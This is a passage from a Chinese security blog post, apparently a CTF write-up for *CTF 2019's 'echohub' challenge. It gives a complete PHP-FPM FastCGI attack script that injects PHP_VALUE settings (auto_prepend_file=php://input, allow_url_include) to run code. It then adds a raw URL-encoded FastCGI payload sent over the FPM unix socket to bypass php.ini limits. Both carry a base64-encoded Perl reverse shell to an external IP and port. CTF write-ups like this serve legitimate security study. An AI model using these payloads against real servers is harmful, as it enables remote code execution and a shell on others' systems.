* You should keep this id for later use with wait_for_response(). Ids are chosen randomly
* rather than seqentially to guard against false-positives when using persistent sockets.
* In that case it is possible that a delayed response to a request made by a previous script
* invocation comes back on this socket and is mistaken for response to request made with same ID
* during this request.
*
* @param array $params Array of parameters
* @param String $stdin Content
*
* @return Integer
*/
public function async_request( array $params, $stdin ) {
$this->connect();
// Pick random number between 1 and max 16 bit unsigned int 65535
$id = mt_rand( 1, ( 1 << 16 ) - 1 );
// Using persistent sockets implies you want them keept alive by server!
$keepAlive = intval( $this->_keepAlive || $this->_persistentSocket );
$request = $this->buildPacket( self::BEGIN_REQUEST
, chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
, $id
);
$paramsRequest = '';
foreach ( $params as $key => $value ) {
$paramsRequest .= $this->buildNvpair( $key, $value, $id );
}
if ( $paramsRequest ) {
$request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );
}
$request .= $this->buildPacket( self::PARAMS, '', $id );
if ( $stdin ) {
$request .= $this->buildPacket( self::STDIN, $stdin, $id );
}
$request .= $this->buildPacket( self::STDIN, '', $id );
if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {
$info = stream_get_meta_data( $this->_sock );
if ( $info['timed_out'] ) {
throw new TimedOutException( 'Write timed out' );
}
// Broken pipe, tear down so future requests might succeed
fclose( $this->_sock );
throw new \Exception( 'Failed to write request to socket' );
}
$this->_requests[ $id ] = array(
'state' => self::REQ_STATE_WRITTEN,
'response' => null
);
return $id;
}
/**
* Blocking call that waits for response to specific request
*
* @param Integer $requestId
* @param Integer $timeoutMs [optional] the number of milliseconds to wait. Defaults to the ReadWriteTimeout value set.
*
* @return string response body
*/
public function wait_for_response( $requestId, $timeoutMs = 0 ) {
if ( ! isset( $this->_requests[ $requestId ] ) ) {
throw new \Exception( 'Invalid request id given' );
}
// If we already read the response during an earlier call for different id, just return it
if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK
|| $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR
) {
return $this->_requests[ $requestId ]['response'];
}
if ( $timeoutMs > 0 ) {
// Reset timeout on socket for now
$this->set_ms_timeout( $timeoutMs );
} else {
$timeoutMs = $this->_readWriteTimeout;
}
// Need to manually check since we might do several reads none of which timeout themselves
// but still not get the response requested
$startTime = microtime( true );
do {
$resp = $this->readPacket();
if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {
if ( $resp['type'] == self::STDERR ) {
$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;
}
$this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];
}
if ( $resp['type'] == self::END_REQUEST ) {
$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;
if ( $resp['requestId'] == $requestId ) {
break;
}
}
if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {
// Reset
$this->set_ms_timeout( $this->_readWriteTimeout );
throw new \Exception( 'Timed out' );
}
} while ( $resp );
if ( ! is_array( $resp ) ) {
$info = stream_get_meta_data( $this->_sock );
// We must reset timeout but it must be AFTER we get info
$this->set_ms_timeout( $this->_readWriteTimeout );
if ( $info['timed_out'] ) {
throw new TimedOutException( 'Read timed out' );
}
if ( $info['unread_bytes'] == 0
&& $info['blocked']
&& $info['eof'] ) {
throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
}
throw new \Exception( 'Read failed' );
}
// Reset timeout
$this->set_ms_timeout( $this->_readWriteTimeout );
switch ( ord( $resp['content']{4} ) ) {
case self::CANT_MPX_CONN:
throw new \Exception( 'This app can\'t multiplex [CANT_MPX_CONN]' );
break;
case self::OVERLOADED:
throw new \Exception( 'New request rejected; too busy [OVERLOADED]' );
break;
case self::UNKNOWN_ROLE:
throw new \Exception( 'Role value not known [UNKNOWN_ROLE]' );
break;
case self::REQUEST_COMPLETE:
return $this->_requests[ $requestId ]['response'];
}
}
}
$client = new Client( 'tcp://127.0.0.1:9000', - 1 );
#$client = new Client( 'unix:///run/php/php7.3-fpm.sock', - 1 );
$php_value = "auto_prepend_file = php://input";
$filepath = '/var/www/html/index.php';
$shellcode = base64_encode( 'perl -e \'use Socket;$i="117.48.197.137";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' );
$content = "<?php system(base64_decode('$shellcode'));exit();?>";
echo $client->request(
array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'mag-tured',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'CONTENT_LENGTH' => strlen( $content ),
'PHP_VALUE' => $php_value,
'PHP_ADMIN_VALUE' => 'allow_url_include = On'
),
$content
);
搭建nginx和fpm,并通过tcp://127.0.0.1:9000进行通讯,运行FPM攻击脚本,并使用tcpdump抓取攻击数据包
利用16进制的RAW转换并进行url编码:
function hexToStr( $hex ) {
$str = "";
for ( $i = 0; $i < strlen( $hex ) - 1; $i += 2 ) {
$str .= chr( hexdec( $hex[ $i ] . $hex[ $i + 1 ] ) );
}
return $str;
}
$str = '0101b0720008000000010000000000000......00000000';
var_dump( urlencode( hexToStr( $str ) ) );
这里最后选择未被禁用的stream_socket_client函数和FPM进行通讯
$shellcode = '$f = stream_socket_client("unix:///run/php/php7.3-fpm.sock", $errno, $errstr,3);echo 111;$payload = urldecode("%01%01%B0r%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B0r%01%87%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0F%0ESERVER_SOFTWAREphp%2Ffcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMEmag-tured%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%03CONTENT_LENGTH341%09%1FPHP_VALUEauto_prepend_file+%3D+php%3A%2F%2Finput%0F%16PHP_ADMIN_VALUEallow_url_include+%3D+On%01%04%B0r%00%00%00%00%01%05%B0r%01U%00%00%3C%3Fphp+system%28base64_decode%28%27cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTE3LjQ4LjE5Ny4xMzciOyRwPTc3Nzc7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI%2BJlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Jw%3D%3D%27%29%29%3Bexit%28%29%3B%3F%3E%01%05%B0r%00%00%00%00");echo 222;stream_socket_sendto($f,$payload);';
此时便获得了一个不受php.ini限制的shell,获取去flag的方式和第一个题目此时一致。
https://blog.csdn.net/qq_22863733/article/details/80349120
https://www.zhaoj.in/read-5479.html
https://codingstandards.iteye.com/blog/836588
https://github.com/sixstars/starctf2019/tree/master/web-echohub
本文作者:Rai4over
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/105333.html
必填 您当前尚未登录。 登录? 注册
必填(保密)